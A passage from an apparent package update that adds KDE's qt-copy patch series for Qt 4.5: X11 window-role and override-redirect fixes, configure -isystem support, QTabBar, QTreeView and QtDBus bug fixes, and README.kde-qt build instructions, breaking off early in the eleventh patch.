 src/gui/kernel/qwidget_p.h     |    1 +
 src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
 4 files changed, 33 insertions(+), 6 deletions(-)

diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
index 6487194..ef0369e 100644
--- a/src/corelib/kernel/qobject.cpp
+++ b/src/corelib/kernel/qobject.cpp
@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
 {
     Q_D(QObject);
     d->objectName = name;
+#if defined(Q_WS_X11)
+    d->checkWindowRole();
+#endif
 }
 
+#if defined(Q_WS_X11)
+void QObjectPrivate::checkWindowRole()
+{
+}
+#endif
 
 #ifdef QT3_SUPPORT
 /*! \internal
diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..6ab9e10 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -144,6 +144,9 @@ public:
     mutable quint32 connectedSignals;
 
     QString objectName;
+#if defined(Q_WS_X11)
+    virtual void checkWindowRole();
+#endif
 
     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
     struct Connection
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 774e390..176d6fa 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -358,6 +358,7 @@ public:
 
 #if defined(Q_WS_X11)
     void setWindowRole();
+    virtual void checkWindowRole();
     void sendStartupMessage(const char *message) const;
     void setNetWmWindowTypes();
     void x11UpdateIsOpaque();
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..b56849c 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         data.fstrut_dirty = 1;
 
         // declare the widget's window role
+        QByteArray windowRole;
         if (QTLWExtra *topData = maybeTopData()) {
-            if (!topData->role.isEmpty()) {
-                QByteArray windowRole = topData->role.toUtf8();
-                XChangeProperty(dpy, id,
-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
-                                (unsigned char *)windowRole.constData(), windowRole.length());
-            }
+            if (!topData->role.isEmpty())
+                windowRole = topData->role.toUtf8();
+        }
+        if (windowRole.isEmpty()) // use object name as a fallback
+            windowRole = objectName.toUtf8();
+        if (!windowRole.isEmpty()) {
+            XChangeProperty(dpy, id,
+                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                            (unsigned char *)windowRole.constData(), windowRole.length());
         }
 
         // set client leader property
@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
                     (unsigned char *)windowRole.constData(), windowRole.length());
 }
 
+void QWidgetPrivate::checkWindowRole()
+{
+    Q_Q(QWidget);
+    if( !q->windowRole().isEmpty() || !q->internalWinId())
+        return;
+    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
+    XChangeProperty(X11->display, q->internalWinId(),
+                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                    (unsigned char *)windowRole.constData(), windowRole.length());
+}
+
 Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
 QPaintEngine *QWidget::paintEngine() const
 {
-- 
1.6.2.5


0002-This-patch-makes-override-redirect-windows-popup-me.patch:
 qwidget_x11.cpp |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

--- NEW FILE 0002-This-patch-makes-override-redirect-windows-popup-me.patch ---
>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/18] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.2.5


0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch:
 qobject_p.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch ---
>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/18] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.2.5


0004-This-patch-adds-support-for-using-isystem-to-allow.patch:
 configure |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE 0004-This-patch-adds-support-for-using-isystem-to-allow.patch ---
>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/18] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.2.5


0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch:
 qtabbar.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch ---
>From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
From: Robert Knight <robertknight at gmail.com>
Date: Sun, 20 Apr 2008 16:28:31 +0200
Subject: [PATCH 05/18] When tabs are inserted or removed in a QTabBar,
 QTabBarPrivate::refresh() is called to update the layout.  If the
 tabbar widget is hidden, this just sets a boolean variable
 (layoutDirty) and returns, so the parent widget's layout is not
 notified about the possible geometry change.

Prior to Qt 4.4 this was not a problem because the geometry was
recalculated in QTabBar::sizeHint() if the layoutDirty variable was
set.  In Qt 4.4 however the layout caches size hint information in
QWidgetItemV2.  Since the cache information is not invalidated, the
layout may end up using out-of-date size hint information to compute
the widget size.

If the QTabBar is empty when QTabBar::sizeHint() is called, it will
return a size with a height of 0, which will be kept in the cache and
so the tab bar will never be shown.

This patch fixes the problem by calling updateGeometry() whenever the
tab bar's layout is refreshed.

qt-bugs@ issue : 208185
Trolltech task ID : 208349
bugs.kde.org number : 159014
---
 src/gui/widgets/qtabbar.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
index 419d456..41107a0 100644
--- a/src/gui/widgets/qtabbar.cpp
+++ b/src/gui/widgets/qtabbar.cpp
@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
         layoutTabs();
         makeVisible(currentIndex);
         q->update();
-        q->updateGeometry();
     }
+    q->updateGeometry();
 }
 
 /*!
-- 
1.6.2.5


0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch:
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    7 ++++++-
 3 files changed, 14 insertions(+), 2 deletions(-)

--- NEW FILE 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch ---
>From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Fri, 19 Sep 2008 17:41:26 +0200
Subject: [PATCH 06/18] Fix configure.exe to do an out-of-source build on windows

qt-bugs@ issue : N227213
Trolltech task ID : none yet
---
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    6 ++++++
 3 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/bin/syncqt b/bin/syncqt
index 7a9f1d3..b5a8e1c 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -365,9 +365,13 @@ sub fixPaths {
         $match_dir = $tmp;
         $i = $slash;
     }
+    my $cnt_ofs = 0;
+    if($match_dir =~ /^[a-zA-Z]:$/) {
+      $cnt_ofs = 1;
+    }
     if($match_dir) {
         my $after = substr($dir, length($match_dir));
-        my $count = ($after =~ tr,/,,);
+        my $count = ($after =~ tr,/,,) - $cnt_ofs;
         my $dots = "";
         for(my $i = 0; $i < $count; $i++) {
             $dots .= "../";
diff --git a/projects.pro b/projects.pro
index 2596c0a..3ba0688 100644
--- a/projects.pro
+++ b/projects.pro
@@ -127,6 +127,9 @@ unix {
    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
 }
+win32 {
+   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
+}
 INSTALLS += mkspecs
 
 false:macx { #mac install location
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index d519b09..7979836 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
         inSplitted.prepend(QLatin1String(".."));
     }
     inSplitted.append(inFileInfo.fileName());
+#ifdef Q_WS_WIN
+    const QString rel = inSplitted.join(QLatin1String("/"));
+    const QString abs = inFileInfo.absoluteFilePath();
+    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
+#else
     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
+#endif
 }
 
 
-- 
1.6.2.5


0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch:
 property.cpp |   30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

--- NEW FILE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch ---
>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/18] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.2.5


0008-In-a-treeview-with-columns-like-this.patch:
 qtreeview.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-In-a-treeview-with-columns-like-this.patch ---
>From 1ec9dd029abaa0f00798535fdb1722154b1c63f6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?= <ereslibre at kde.org>
Date: Sun, 26 Oct 2008 10:40:51 +0100
Subject: [PATCH 08/18] In a treeview with columns like this:

Column 1 | Column 2 | ... | Column k | ... | Column n

When selecting with rubberband (by clicking on the blank part of the viewport) while Column k is
hidden, you get double items on the selection model, when asking for selection(). This is becase
ranges are incorrectly calculated when there are hidden columns. A way to reproduce:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
  x <- press button here and move it up to select items (on this same column)

If you do like this:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
                         x <- press button here and move it up

you won't be able to reproduce, since you need the hidden column to be between the one you click and
the last one. The reason is that columnRanges returns two ranges when there is supposed to return 1
range (even when there are hidden columns).

qt-bugs@ issue : N232819
Trolltech task ID : 232831
bugs.kde.org number : 171436
---
 src/gui/itemviews/qtreeview.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index ed6ad03..dc147f2 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -3575,7 +3575,7 @@ QList<QPair<int, int> > QTreeViewPrivate::columnRanges(const QModelIndex &topInd
     current.first = -2; // -1 is not enough because -1+1 = 0
     current.second = -2;
     foreach (int logicalColumn, logicalIndexes) {
-        if (current.second + 1 != logicalColumn) {
+        if (current.second + 1 != logicalColumn && !header->isSectionHidden(current.second + 1)) {
             if (current.first != -2) {
                 //let's save the current one
                 ret += current;
-- 
1.6.2.5


0009-This-patch-fixes-deserialization-of-values-with-cust.patch:
 qdbusinternalfilters.cpp |   17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE 0009-This-patch-fixes-deserialization-of-values-with-cust.patch ---
>From b274bbaf4768dcfdfcf95ceda08b6402ffedb80d Mon Sep 17 00:00:00 2001
From: George Goldberg <grundleborg at googlemail.com>
Date: Tue, 28 Apr 2009 17:08:07 +0200
Subject: [PATCH 09/18] This patch fixes deserialization of values with custom types when setting
 properties on dbus adaptors. It is needed, in particular by telepathy/Qt
 programs and libraries. The bug was reported to Nokia on 2009-01-07 along
 with the patch supplied here. The summary of the issue from the Qt
 Software task tracker follows:

When calling the setter for a DBus property, if that property has a custom type
(e.g. a struct with dbus type (uss)), QtDBus fails to demarshall the
QDBusArgument before attempting to set the property on the adaptor. The result
is that it attempts to call adaptor->setProperty() with a QDBusArgument of type
"uss" instead of with the type of the custom struct.

qt-bugs@ issue : N240326
Qt Software task ID : 240608
bugs.kde.org number : none
---
 src/dbus/qdbusinternalfilters.cpp |   16 +++++++++++++++-
 1 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/src/dbus/qdbusinternalfilters.cpp b/src/dbus/qdbusinternalfilters.cpp
index c71f2f4..d261d01 100644
--- a/src/dbus/qdbusinternalfilters.cpp
+++ b/src/dbus/qdbusinternalfilters.cpp
@@ -274,9 +274,23 @@ QDBusMessage qDBusPropertySet(const QDBusConnectionPrivate::ObjectTreeNode &node
             QDBusAdaptorConnector::AdaptorMap::ConstIterator it;
             it = qLowerBound(connector->adaptors.constBegin(), connector->adaptors.constEnd(),
                              interface_name);
-            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface))
+            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface)) {
+                if (value.userType() == qMetaTypeId<QDBusArgument>()) {
+                    QDBusArgument valueArg = qvariant_cast<QDBusArgument>(value);
+                    if (valueArg.currentType() != -1) {
+                        int mid = it->adaptor->metaObject()->property(it->adaptor->metaObject()->indexOfProperty(property_name)).userType();
+                        void *null = 0;
+                        QVariant valueStore(mid, null);
+                        QDBusMetaType::demarshall(valueArg, mid, valueStore.data());
+
+                        if (it->adaptor->setProperty(property_name, valueStore))
+                            return msg.createReply();
+                    }
+                }
+
                 if (it->adaptor->setProperty(property_name, value))
                     return msg.createReply();
+            }
         }
     }
 
-- 
1.6.2.5


0010-Import-README.qt-copy-from-the-original-qt-copy.patch:
 README.kde-qt |  189 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 188 insertions(+), 1 deletion(-)

--- NEW FILE 0010-Import-README.qt-copy-from-the-original-qt-copy.patch ---
>From 9a3fe8fc4912bf82b791c4131f553c18140ca838 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:17:13 -0300
Subject: [PATCH 10/18] Import README.qt-copy from the original qt-copy

---
 README.kde-qt |  188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 188 insertions(+), 0 deletions(-)
 create mode 100644 README.kde-qt

diff --git a/README.kde-qt b/README.kde-qt
new file mode 100644
index 0000000..f605a0b
--- /dev/null
+++ b/README.kde-qt
@@ -0,0 +1,188 @@
+This is a copy of Qt version 4.5.1.  It may include
+modifications which are necessary for KDE; these are listed in the
+patches directory.
+
+1. Qt-copy patches
+==================
+
+You may also consider running the apply_patches script before configuring qt-copy,
+which will apply all not yet applied patches from the patches/ directory that
+are considered safe (they mostly include optimizations and features that don't
+add new API). Note that most of those patches haven't been accepted
+by Qt Software yet. and therefore they'll make your qt-copy differ from official
+Qt version.
+
+2. Configuring Qt
+=================
+
+The recommended compile line is:
+
+--default-config-begin--
+./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
+   -system-libpng -system-libjpeg -system-zlib \
+   -dbus -webkit -no-phonon -plugin-sql-mysql \
+   -nomake examples -nomake demos -prefix <installdir>
+--default-config-end--
+
+It contains "-debug", which greatly improves the use for backtraces (but
+also needs a lot more disk space and makes things slower). To build in
+release mode, replace it with "-release".
+
+It also contains "-no-separate-debug-info", which disables separate .debug
+files. Instead, the debug information will be built into the libraries.
+This option is needed when you install Qt.
+If you don't install Qt, it can be useful to disable this option,
+thus having separate debug symbol files. With separate debug files, you can
+just move those debug files to another directory to remove Qt debug symbols.
+Moving the files back will enable Qt debug symbols again.
+This is useful if you rarely need to step into Qt functions during debugging,
+because GDB loads much faster and uses less memory without Qt debug symbols.
+In the rare case you need to step into Qt code, you can temporarily enable
+debug symbols again by moving the debug files back. You can even load the Qt
+debug symbols from within GDB on demand, using the "symbol-file" command.
+
+It also contains the "-no-exceptions" argument, which disables C++
+exception support. Disabling exception support may improve memory
+consumption if GCC is being used. However, that also disables the
+QtXmlPatterns module since that requires exception support. If you
+plan on using that module, remove the option.
+
+If you are planning to compile Qt using an Icecream cluster you have to
+pass the option -no-pch (no precompiled headers) to configure to make
+distributed compilation work.
+
+3. Compiling Qt
+===============
+
+To compile Qt on a Unix platform, run:
+
+   export MAKEFLAGS=-j2
+   make
+   make install
+
+If your computer has more than one core or processor, you may consider
+increasing the "2" above. If you've got a compile farm available, you
+should adjust the -j argument to match the number of slots in that
+farm.
+
+4. Modifying & rebuilding Qt
+============================
+
+If you make modifications to the Qt source code, you don't need to
+build everything again. Simply go to the directory containing the
+Makefile closest to the files you changed and run "make" again.
+
+For example, if you modified src/corelib/io/qiodevice.cpp, do:
+
+   cd src/corelib
+   make
+
+Do not commit your modifications to qt-copy as such. If you have a fix
+that benefit others, see the "Creating Qt-copy patches" section below.
+
+5. Building Qt examples and demos
+=================================
+
+The "-nomake examples -nomake demos" arguments to the configure script
+mean that those two sections will not be configured for
+building. Which is unneeded for usage of the library.  If you want to
+compile the examples or demos later; just enter either directory and
+type:
+
+   qmake
+   make
+
+6. Building Qt documentation (only applies to Snapshot versions of Qt)
+============================
+
+To build and install the documentation, run:
+
+   make docs
+   ./config.status
+   make install
+
+It is necessary to do this once only, even if you rebuild Qt later.
+
+7. Using Qt uninstalled
+=======================
+
+To use without having to install it, configure it as follows:
+
+   ./configure <other configure options>  -prefix $PWD
+   make sub-src
+   make sub-tools
+
+Attention: DO NOT run
+
+   make install
+
+If you do, Qt will overwrite your include/ directory with its
+installation.
+
+8. Creating Qt-copy patches
+===========================
+
+If you have fixed a bug in Qt or modified it in any way that may
+benefit others, please share your change in the form of a patch. Do
+not commit your changes directly to the qt-copy module because they
+may be lost in a future update if they have not been added to the
+official Qt release.
+
+The exception to the above rule is that if the fix has been accepted
+by Qt Software (and so will appear in the next release of Qt), then
+it can be applied directly to qt-copy.  In this case, the patch
+should still be placed in patches/ as usual, but it should have a
+header line
+    Applied: yes
+
+Before creating a patch, it is recommended to contact Qt Software
+support via qt-bugs at trolltech.com and explain the situation. There may
+be a solution for the problem already or a new direction that should
+be accounted for.
+
+To create a patch, do the following:
+  a) make sure your Qt sources are clean of other changes. Run:
+     svn revert -R .
+  b) make your changes to the Qt source code and verify that it
+  compiles, links and works.
+  c) open the patches/README file and get the next patch number
+  (you must read and understand the README file; if you don't, ask for
+  help from other KDE developers)
+  d) create the patch with:
+     svn diff > patches/NNNN-short-description-of-your-patch.diff
+  where NNNN is the next available number.
+  e) open the file you've just created and add the header to it. The
+  header should be the template in patches/README followed by a longer
+  description of your patch.
+
+Don't forget to submit your patch to qt-bugs at trolltech.com along with
+the long description of the issue found, if you haven't already.
+Qt Software does not monitor the patches/ directory, so qt-copy
+patches do not get automatically applied to Qt official releases.
+
+When you receive the issue number and task tracker numbers, update the
+patch file.
+
+9. Known issues with current Qt code
+====================================
+
+In case you have strange issues with non-resizing windows and similar, use
+   export QT_USE_NATIVE_WINDOWS=1
+before starting KDE.
+
+10. Troubleshooting: Re-configuring and re-compiling
+===================================================
+
+For those updating the source in a directory where Qt has already
+been compiled, you may need to run the following commands from the
+top directory of your Qt sources:
+
+	find . -name '*.moc' | xargs rm
+
+Sometimes ./configure will refuse to run.  You may need to:
+	rm .qmake.cache
+
+If you think you may have run "make install" on an install-less Qt
+(srcdir == $QTDIR), run:
+
+	svn revert -R include
-- 
1.6.2.5


0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch:
 README.kde-qt |  164 +++++++++++++++++++++++++++++++---------------------------
 1 file changed, 88 insertions(+), 76 deletions(-)

--- NEW FILE 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch ---
>From 39b24a10e4dee27357b9760b735c2ab98b132963 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:46:54 -0300
Subject: [PATCH 11/18] Update this file to reflect the workflow with Git, as well as use Git commands

---
 README.kde-qt |  163 +++++++++++++++++++++++++++++++--------------------------
 1 files changed, 88 insertions(+), 75 deletions(-)

diff --git a/README.kde-qt b/README.kde-qt
index f605a0b..db3feb6 100644
--- a/README.kde-qt
+++ b/README.kde-qt
@@ -1,27 +1,20 @@
-This is a copy of Qt version 4.5.1.  It may include
-modifications which are necessary for KDE; these are listed in the
-patches directory.
+This is a patched version of Qt.  It may include changes made by KDE
+and Qt developers that have either not been accepted for inclusion
+into Qt, or have been accepted for a later version of Qt than this
+one.
 
-1. Qt-copy patches
-==================
-
-You may also consider running the apply_patches script before configuring qt-copy,
-which will apply all not yet applied patches from the patches/ directory that
-are considered safe (they mostly include optimizations and features that don't
-add new API). Note that most of those patches haven't been accepted
-by Qt Software yet. and therefore they'll make your qt-copy differ from official
-Qt version.
-
-2. Configuring Qt
+1. Configuring Qt
 =================
 
 The recommended compile line is:
 
 --default-config-begin--
-./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
-   -system-libpng -system-libjpeg -system-zlib \
-   -dbus -webkit -no-phonon -plugin-sql-mysql \
-   -nomake examples -nomake demos -prefix <installdir>
+
